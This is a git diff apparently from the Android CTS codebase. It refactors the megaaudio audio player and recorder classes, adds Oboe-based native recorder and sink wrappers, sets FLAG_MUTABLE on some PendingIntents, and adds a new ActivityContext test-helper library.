@@ -42,15 +44,19 @@
         Player player = null;
         int playerType = mType & TYPE_MASK;
         switch (playerType) {
+            case TYPE_NONE:
+                // NOP
+                break;
+
             case TYPE_JAVA:
                 player = new JavaPlayer(mSourceProvider);
                 break;
-            // FIXME - Uncomment this code when the oboe-based implementation is integrated.
-//            case TYPE_OBOE:{
-//                int playerSubType = mType & SUB_TYPE_MASK;
-//                player = new OboePlayer(mSourceProvider, playerSubType);
-//            }
-//            break;
+
+            case TYPE_OBOE:{
+                int playerSubType = mType & SUB_TYPE_MASK;
+                player = new OboePlayer(mSourceProvider, playerSubType);
+            }
+            break;
 
             default:
                 throw new BadStateException();
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/SinAudioSourceProvider.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/SinAudioSourceProvider.java
index c674a5d..6123f98 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/SinAudioSourceProvider.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/SinAudioSourceProvider.java
@@ -17,6 +17,7 @@
 
 import org.hyphonate.megaaudio.player.AudioSource;
 import org.hyphonate.megaaudio.player.AudioSourceProvider;
+import org.hyphonate.megaaudio.player.NativeAudioSource;
 
 public class SinAudioSourceProvider implements AudioSourceProvider {
     @Override
@@ -25,5 +26,9 @@
     }
 
     @Override
-    public native long getNativeSource();
+    public NativeAudioSource getNativeSource() {
+        return new NativeAudioSource(allocNativeSource());
+    }
+
+    private native long allocNativeSource();
 }
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/WaveTableSource.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/WaveTableSource.java
index 4e4b89b..72695db 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/WaveTableSource.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/WaveTableSource.java
@@ -21,7 +21,7 @@
  * An AudioFiller implementation for feeding data from a PCMFLOAT wavetable.
  * We do simple, linear interpolation for inter-table values.
  */
-public class WaveTableSource implements AudioSource {
+public class WaveTableSource extends AudioSource {
     @SuppressWarnings("unused") private static String TAG = WaveTableSource.class.getSimpleName();
 
     /** The samples defining one cycle of the waveform to play */
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSink.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSink.java
index a94d997..83e1a3f 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSink.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSink.java
@@ -16,16 +16,23 @@
 package org.hyphonate.megaaudio.recorder;
 
 public abstract class AudioSink {
+    /**
+     * Called before the stream starts to allow initialization of the sink
+     * @param numFrames The number of frames that will be requested in each process() call.
+     * @param numChans The number of channels in the stream.
+     */
+    public void init(int numFrames, int numChans) {}
+
     public void start() {}
     public void stop(int lastBufferFrames) {}
 
     /**
      * Process incoming audio data.
-     * @param audioData The buffer to be filled.
-     * @param numFrames The number of frames of audio to provide.
-     * @param numChans The number of channels (in the buffer) required by the player.
+     * @param audioData The buffer of audio data.
+     * @param numFrames The number of frames of audio to process.
+     * @param numChans The number of channels (in the buffer).
      * Note that the recorder will be blocked by this call.
      * Note that the data is assumed to be *interleaved*.
      */
-    abstract public void process(final float[] audioData, int numFrames, int numChans);
+    abstract public void push(final float[] audioData, int numFrames, int numChans);
 }
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSinkProvider.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSinkProvider.java
index 558b4ac..f21a872 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSinkProvider.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSinkProvider.java
@@ -16,6 +16,15 @@
 package org.hyphonate.megaaudio.recorder;
 
 public interface AudioSinkProvider {
-    AudioSink getJavaSink();
-    long getOboeSink();
+    /**
+     * @return return a Java AudioSink subclass object corresponding to the AudioSourceProvider
+     * implementation.
+     */
+    AudioSink allocJavaSink();
+
+    /**
+     * @return a native (C/C++) AudioSource subclass object corresponding to the AudioSourceProvider
+     * implementation (stored in a long).
+     */
+    NativeAudioSink allocNativeSink();
 }
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaRecorder.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaRecorder.java
index 4257953..387f7da 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaRecorder.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaRecorder.java
@@ -15,6 +15,7 @@
  */
 package org.hyphonate.megaaudio.recorder;
 
+import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
 import android.media.AudioRecord;
 import android.os.Looper;
@@ -29,7 +30,7 @@
  * API, i.e. AudioRecord.
  */
 public class JavaRecorder extends Recorder {
-    @SuppressWarnings("unused") private static String TAG = JavaRecorder.class.getSimpleName();
+    @SuppressWarnings("unused") private static final String TAG = JavaRecorder.class.getSimpleName();
     @SuppressWarnings("unused") private static final boolean LOG = true;
 
     /** The buffer to receive the recorder samples */
@@ -47,22 +48,40 @@
 
     private AudioSink mAudioSink;
 
+    private int mInputPreset = INPUT_PRESET_NONE;
+
+    @Override
+    public int getRoutedDeviceId() {
+        if (mAudioRecord != null) {
+            AudioDeviceInfo routedDevice = mAudioRecord.getRoutedDevice();
+            return routedDevice != null ? routedDevice.getId() : ROUTED_DEVICE_ID_INVALID;
+        } else {
+            return ROUTED_DEVICE_ID_INVALID;
+        }
+    }
+
     /**
-     * The listener to receive notifications of recording events
-     * @see {@link JavaSinkHandler}
-     */
+      * The listener to receive notifications of recording events
+      * @see {@link JavaSinkHandler}
+      */
     private JavaSinkHandler mListener = null;
 
     public JavaRecorder(AudioSinkProvider sinkProvider) {
         super(sinkProvider);
     }
 
+    //
+    // Attributes
+    //
     /** The buff to receive the recorder samples */
     public float[] getFloatBuffer() { return mRecorderBuffer; }
 
     // JavaRecorder-specific extension
     public AudioRecord getAudioRecord() { return mAudioRecord; }
 
+    @Override
+    public void setInputPreset(int preset) { mInputPreset = preset; }
+
     /*
      * State
      */
@@ -72,9 +91,9 @@
     }
 
     @Override
-    public boolean setupAudioStream(int channelCount, int sampleRate, int numBurstFrames) {
+    public int setupStream(int channelCount, int sampleRate, int numBurstFrames) {
         if (LOG) {
-            Log.i(TAG, "setupAudioStream(chans:" + channelCount + ", rate:" + sampleRate +
+            Log.i(TAG, "setupStream(chans:" + channelCount + ", rate:" + sampleRate +
                     ", frames:" + numBurstFrames);
         }
         mChannelCount = channelCount;
@@ -83,14 +102,19 @@
         try {
             int frameSize = calcFrameSizeInBytes(mChannelCount);
 
-            mAudioRecord = new AudioRecord.Builder()
-                    .setAudioFormat(new AudioFormat.Builder()
+            AudioRecord.Builder builder = new AudioRecord.Builder();
+
+            builder.setAudioFormat(new AudioFormat.Builder()
                             .setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
                             .setSampleRate(mSampleRate)
                             .setChannelIndexMask(StreamBase.channelCountToIndexMask(mChannelCount))
-                            .build())
-                    .setBufferSizeInBytes(numBurstFrames * frameSize)
-                    .build();
+                            .build());
+                    // .setBufferSizeInBytes(numBurstFrames * frameSize)
+            if (mInputPreset != Recorder.INPUT_PRESET_NONE) {
+                builder.setAudioSource(mInputPreset);
+            }
+            mAudioRecord = builder.build();
+            mAudioRecord.setPreferredDevice(mRouteDevice);
 
             mNumBuffFrames = mAudioRecord.getBufferSizeInFrames();
 
@@ -99,9 +123,10 @@
             if (mSinkProvider == null) {
                 mSinkProvider = new NopAudioSinkProvider();
             }
-            mAudioSink = mSinkProvider.getJavaSink();
+            mAudioSink = mSinkProvider.allocJavaSink();
+            mAudioSink.init(mNumBuffFrames, mChannelCount);
             mListener = new JavaSinkHandler(this, mAudioSink, Looper.getMainLooper());
-            return true;
+            return OK;
         } catch (UnsupportedOperationException ex) {
             if (LOG) {
                 Log.i(TAG, "Couldn't open AudioRecord: " + ex);
@@ -110,12 +135,12 @@
             mNumBuffFrames = 0;
             mRecorderBuffer = null;
 
-            return false;
+            return ERROR_UNSUPPORTED;
         }
     }
 
     @Override
-    public void teardownAudioStream() {
+    public int teardownStream() {
         stopStream();
 
         waitForStreamThreadToExit();
@@ -127,18 +152,29 @@
 
         mChannelCount = 0;
         mSampleRate = 0;
+
+        //TODO Retrieve errors from above
+        return OK;
     }
 
     @Override
-    public boolean startStream() {
-
-        // Routing
+    public int startStream() {
+        if (LOG) {
+            Log.i(TAG, "startStream() mAudioRecord:" + mAudioRecord);
+        }
+        if (mAudioRecord == null) {
+            return ERROR_INVALID_STATE;
+        }
+//        // Routing
 //        mAudioRecord.setPreferredDevice(mRoutingDevice);
-//
+
         if (mListener != null) {
             mListener.sendEmptyMessage(JavaSinkHandler.MSG_START);
         }
 
+//        if (mAudioSink != null) {
+//            mAudioSink.init(mNumBuffFrames, mChannelCount);
+//        }
         try {
             mAudioRecord.startRecording();
         } catch (IllegalStateException ex) {
@@ -151,7 +187,7 @@
         mRecording = true;
         mStreamThread.start();
 
-        return true;
+        return OK;
     }
 
     /**
@@ -160,8 +196,9 @@
      * Returns immediately, though a call to AudioSource.push() may be in progress.
      */
     @Override
-    public void stopStream() {
+    public int stopStream() {
         mRecording = false;
+        return OK;
     }
 
     // @Override
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaSinkHandler.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaSinkHandler.java
index 1e0bb3b..58c1ebe 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaSinkHandler.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaSinkHandler.java
@@ -59,7 +59,7 @@
 
             case MSG_BUFFER_FILL:
                 if (mSink != null) {
-                    mSink.process(mRecorder.getDataBuffer(),
+                    mSink.push(mRecorder.getDataBuffer(),
                             mRecorder.getNumBufferFrames(), mRecorder.getChannelCount());
                 }
                 break;
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/NativeAudioSink.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/NativeAudioSink.java
new file mode 100644
index 0000000..ded8ca2
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/NativeAudioSink.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder;
+
+public class NativeAudioSink extends AudioSink {
+    private long mNativeSinkPtr;
+
+    public NativeAudioSink(long nativeSinkPtr) {
+        mNativeSinkPtr = nativeSinkPtr;
+    }
+
+    // Use this to call the AudioSource methods in C++ directly
+    public long getNativeObject() { return mNativeSinkPtr; }
+
+    @Override
+    public void init(int numFrames, int numChans) {
+        initN(mNativeSinkPtr, numFrames, numChans);
+    }
+
+    @Override
+    public void start() {
+        startN(mNativeSinkPtr);
+    }
+
+    @Override
+    public void stop(int lastBufferFrames) {
+        stopN(mNativeSinkPtr);
+    }
+
+    @Override
+    public void push(float[] audioData, int numFrames, int numChans) {
+        pushN(mNativeSinkPtr, audioData, numFrames, numChans);
+    }
+
+    private native void initN(long nativeSinkPtr, int numFrames, int numChans);
+    private native void startN(long nativeSinkPtr);
+    private native void stopN(long nativeSinkPtr);
+    private native void pushN(long nativeSinkPtr, float[] audioData, int numFrames, int numChans);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/OboeRecorder.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/OboeRecorder.java
new file mode 100644
index 0000000..bb8e05d
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/OboeRecorder.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder;
+
+public class OboeRecorder extends Recorder {
+    private int mRecorderSubtype;
+    private long mNativeRecorder;
+
+    public OboeRecorder(AudioSinkProvider sinkProvider, int subType) {
+        super(sinkProvider);
+
+        mRecorderSubtype = subType;
+        mNativeRecorder = allocNativeRecorder(sinkProvider.allocNativeSink().getNativeObject(), mRecorderSubtype);
+    }
+
+    //
+    // Attributes
+    //
+    @Override
+    public int getNumBufferFrames() {
+        return getNumBufferFramesN(mNativeRecorder);
+    }
+
+    @Override
+    public void setInputPreset(int preset) {
+        setInputPresetN(mNativeRecorder, preset);
+    }
+
+    @Override
+    public int getRoutedDeviceId() { return getRoutedDeviceIdN(mNativeRecorder); }
+
+    //
+    // State
+    //
+    @Override
+    public boolean isRecording() {
+        return isRecordingN(mNativeRecorder);
+    }
+
+    @Override
+    public int setupStream(int channelCount, int sampleRate, int numBurstFrames) {
+        mChannelCount = channelCount;
+        mSampleRate = sampleRate;
+        return setupStreamN(mNativeRecorder, channelCount, sampleRate,
+                mRouteDevice == null ? -1 : mRouteDevice.getId());
+    }
+
+    @Override
+    public int teardownStream() {
+        int errCode = teardownStreamN(mNativeRecorder);
+        mChannelCount = 0;
+        mSampleRate = 0;
+
+        return errCode;
+    }
+
+    @Override
+    public int startStream() {
+        return startStreamN(mNativeRecorder, mRecorderSubtype);
+    }
+
+    @Override
+    public int stopStream() {
+        return stopN(mNativeRecorder);
+    }
+
+    private native long allocNativeRecorder(long nativeSink, int recorderSubtype);
+
+    private native boolean isRecordingN(long nativeRecorder);
+
+    private native int getBufferFrameCountN(long nativeRecorder);
+    private native void setInputPresetN(long nativeRecorder, int inputPreset);
+
+    private native int getRoutedDeviceIdN(long nativeRecorder);
+
+    private native int setupStreamN(long nativeRecorder, int channelCount, int sampleRate, int routeDeviceId);
+    private native int teardownStreamN(long nativeRecorder);
+
+    private native int startStreamN(long nativeRecorder, int recorderSubtype);
+
+    private native int stopN(long nativeRecorder);
+
+    private native int getNumBufferFramesN(long nativeRecorder);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/Recorder.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/Recorder.java
index fff28d6..004ef1b 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/Recorder.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/Recorder.java
@@ -23,9 +23,16 @@
 public abstract class Recorder extends StreamBase {
     protected AudioSinkProvider mSinkProvider;
 
+    // This value is to indicate that no explicit call to set an input preset in the builder
+    // will be made.
+    // Constants can be found here:
+    // https://developer.android.com/reference/android/media/MediaRecorder.AudioSource
+    public static final int INPUT_PRESET_NONE = -1;
+
     public Recorder(AudioSinkProvider sinkProvider) {
         mSinkProvider = sinkProvider;
     }
+    public abstract void setInputPreset(int preset);
 
     /*
      * State
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/RecorderBuilder.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/RecorderBuilder.java
index 78234da..737dfb8 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/RecorderBuilder.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/RecorderBuilder.java
@@ -15,12 +15,16 @@
  */
 package org.hyphonate.megaaudio.recorder;
 
+import android.media.AudioDeviceInfo;
+
 import org.hyphonate.megaaudio.common.BuilderBase;
 
 public class RecorderBuilder extends BuilderBase {
 
     private AudioSinkProvider mSinkProvider;
 
+    private int mInputPreset = Recorder.INPUT_PRESET_NONE;
+
     public RecorderBuilder() {
 
     }
@@ -35,6 +39,11 @@
         return this;
     }
 
+    public RecorderBuilder setInputPreset(int inputPreset) {
+        mInputPreset = inputPreset;
+        return this;
+    }
+
     public Recorder build() throws BadStateException {
         if (mSinkProvider == null) {
             throw new BadStateException();
@@ -43,16 +52,19 @@
         Recorder recorder = null;
         int playerType = mType & TYPE_MASK;
         switch (playerType) {
+            case TYPE_NONE:
+                // NOP
+                break;
+
             case TYPE_JAVA:
                 recorder = new JavaRecorder(mSinkProvider);
                 break;
 
-            // FIXME - Uncomment this code when the oboe-based implementation is integrated.
-//            case TYPE_OBOE:{
-//                int recorderSubType = mType & SUB_TYPE_MASK;
-//                recorder = new OboeRecorder(mSinkProvider, recorderSubType);
-//            }
-//            break;
+            case TYPE_OBOE:{
+                int recorderSubType = mType & SUB_TYPE_MASK;
+                recorder = new OboeRecorder(mSinkProvider, recorderSubType);
+            }
+            break;
 
             default:
                 throw new BadStateException();
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSink.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSink.java
index e39a13f..2d9d17e 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSink.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSink.java
@@ -27,7 +27,7 @@
     }
 
     @Override
-    public void process(float[] audioData, int numFrames, int numChans) {
+    public void push(float[] audioData, int numFrames, int numChans) {
         mCallback.onDataReady(audioData, numFrames);
     }
 }
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSinkProvider.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSinkProvider.java
index 867bfce..9d275c8 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSinkProvider.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSinkProvider.java
@@ -17,6 +17,7 @@
 
 import org.hyphonate.megaaudio.recorder.AudioSink;
 import org.hyphonate.megaaudio.recorder.AudioSinkProvider;
+import org.hyphonate.megaaudio.recorder.NativeAudioSink;
 
 public class AppCallbackAudioSinkProvider implements AudioSinkProvider {
     private AppCallback mCallbackObj;
@@ -26,16 +27,17 @@
         mCallbackObj = callback;
     }
 
-    public AudioSink getJavaSink() {
+    public AudioSink allocJavaSink() {
         return new AppCallbackAudioSink(mCallbackObj);
+        // return allocNativeSink();
     }
 
     @Override
-    public long getOboeSink() {
-        return mOboeSinkObj = getOboeSinkN(mCallbackObj);
+    public NativeAudioSink allocNativeSink() {
+        return new NativeAudioSink(mOboeSinkObj = allocOboeSinkN(mCallbackObj));
     }
 
-    private native long getOboeSinkN(AppCallback callbackObj);
+    private native long allocOboeSinkN(AppCallback callbackObj);
 
     public void releaseJNIResources() {
         releaseJNIResourcesN(mOboeSinkObj);
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSink.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSink.java
index 9d41141..7a29e33 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSink.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSink.java
@@ -19,7 +19,7 @@
 
 public class NopAudioSink extends AudioSink {
     @Override
-    public void process(float[] audioData, int numFrames, int numChannels) {
+    public void push(float[] audioData, int numFrames, int numChannels) {
         // NOP
     }
 }
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSinkProvider.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSinkProvider.java
index 6a2d584..efddc88 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSinkProvider.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSinkProvider.java
@@ -17,15 +17,17 @@
 
 import org.hyphonate.megaaudio.recorder.AudioSink;
 import org.hyphonate.megaaudio.recorder.AudioSinkProvider;
+import org.hyphonate.megaaudio.recorder.NativeAudioSink;
 
 public class NopAudioSinkProvider implements AudioSinkProvider {
     @Override
-    public AudioSink getJavaSink() {
+    public AudioSink allocJavaSink() {
         return new NopAudioSink();
     }
 
     @Override
-    public long getOboeSink() {
-        return 0;
+    public NativeAudioSink allocNativeSink() {
+        //||| TODO - implement this
+        return null;
     }
 }
diff --git a/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java b/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java
index a7927aa..5b371fa 100644
--- a/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java
+++ b/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java
@@ -51,6 +51,6 @@
                 .setClass(context, AlarmReceiver.class)
                 .putExtra(EXTRA_ON_ALARM, onAlarm);
         return PendingIntent.getBroadcast(context, 0, alarmIntent,
-                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE);
     }
 }
diff --git a/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java b/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
index 60991b2..eba3bac 100644
--- a/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
+++ b/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
@@ -131,7 +131,7 @@
                         new Intent(ACTION_INLINE_REPLY)
                                 .setComponent(new ComponentName(context, NotificationBot.class))
                                 .putExtra(EXTRA_RESET_REQUEST_INTENT, intent),
-                        PendingIntent.FLAG_UPDATE_CURRENT);
+                        PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE);
         final RemoteInput ri = new RemoteInput.Builder("result")
                 .setLabel("Type something here and press send button").build();
 
diff --git a/common/device-side/bedstead/OWNERS b/common/device-side/bedstead/OWNERS
new file mode 100644
index 0000000..ce3438f
--- /dev/null
+++ b/common/device-side/bedstead/OWNERS
@@ -0,0 +1,2 @@
+scottjonathan@google.com
+alexkershaw@google.com
\ No newline at end of file
diff --git a/common/device-side/bedstead/activitycontext/Android.bp b/common/device-side/bedstead/activitycontext/Android.bp
new file mode 100644
index 0000000..0d45271
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/Android.bp
@@ -0,0 +1,29 @@
+android_library {
+    name: "ActivityContext",
+    sdk_version: "current",
+    srcs: [
+        "src/main/java/**/*.java"
+    ],
+    static_libs: [
+        "EventLib",
+        "compatibility-device-util-axt",
+    ],
+    manifest: "src/main/AndroidManifest.xml",
+}
+
+android_test {
+    name: "ActivityContextTest",
+    srcs: [
+        "src/test/java/**/*.java"
+    ],
+    test_suites: [
+        "general-tests",
+    ],
+    static_libs: [
+        "ActivityContext",
+        "androidx.test.ext.junit",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+    ],
+    manifest: "src/test/AndroidManifest.xml",
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/activitycontext/AndroidTest.xml b/common/device-side/bedstead/activitycontext/AndroidTest.xml
new file mode 100644
index 0000000..fc7e55a
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for ActivityContext test cases">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="ActivityContextTest.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.android.activitycontext.test" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/common/device-side/bedstead/activitycontext/TEST_MAPPING b/common/device-side/bedstead/activitycontext/TEST_MAPPING
new file mode 100644
index 0000000..a271e3d
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "ActivityContextTest"
+    }
+  ]
+}
diff --git a/common/device-side/bedstead/activitycontext/src/main/AndroidManifest.xml b/common/device-side/bedstead/activitycontext/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..f36dab9
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/src/main/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.activitycontext">
+    <application>
+        <activity android:name=".ActivityContext" android:exported="true"/>
+    </application>
+</manifest>
diff --git a/common/device-side/bedstead/activitycontext/src/main/java/com/android/activitycontext/ActivityContext.java b/common/device-side/bedstead/activitycontext/src/main/java/com/android/activitycontext/ActivityContext.java
new file mode 100644
index 0000000..4c77b65
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/src/main/java/com/android/activitycontext/ActivityContext.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.activitycontext;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils.QuadFunction;
+import com.android.compatibility.common.util.ShellIdentityUtils.TriFunction;
+import com.android.eventlib.premade.EventLibActivity;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.function.BiConsumer;
+import java.util.function.BiFunction;
+import java.util.function.Consumer;
+import java.util.function.Function;
+
+public class ActivityContext extends EventLibActivity {
+
+    private static final String LOG_TAG = "ActivityContext";
+    private static final Context CONTEXT =
+            InstrumentationRegistry.getInstrumentation().getContext();
+
+    private static Function<Activity, ?> sRunnable;
+    private static Object sReturnValue;
+    private static CountDownLatch sLatch;
+
+    /**
+     * Run some code using an Activity {@link Context}.
+     *
+     * <p>This method should only be called from an instrumented app.
+     *
+     * <p>The {@link Activity} will be valid within the {@code runnable} callback. Passing the
+     * {@link Activity} outside of the callback is not recommended because it may become invalid
+     * due to lifecycle changes.
+     *
+     * <p>This method will block until the callback has been executed. It will return the same value
+     * as returned by the callback.
+     */
+    public static <E> E getWithContext(Function<Activity, E> runnable) throws InterruptedException {
+        synchronized (ActivityContext.class) {
+            sRunnable = runnable;
+
+            sLatch = new CountDownLatch(1);
+            sReturnValue = null;
+
+            Intent intent = new Intent();
+            intent.setClass(CONTEXT, ActivityContext.class);
+            intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+            CONTEXT.startActivity(intent);
+        }
+
+        sLatch.await();
+
+        synchronized (ActivityContext.class) {
+            sRunnable = null;
+            return (E) sReturnValue;
+        }
+    }
+
+    /** {@link #getWithContext(Function)} which does not return a value. */
+    public static void runWithContext(Consumer<Activity> runnable) throws InterruptedException {
+        getWithContext((inContext) -> {runnable.accept(inContext); return null; });
+    }
+
+    /** {@link #getWithContext(Function)} with an additional argument. */
+    public static <E, F> F getWithContext(E arg1,
+            BiFunction<Activity, E, F> runnable) throws InterruptedException {
+        return getWithContext((inContext) -> runnable.apply(inContext, arg1));
+    }
+
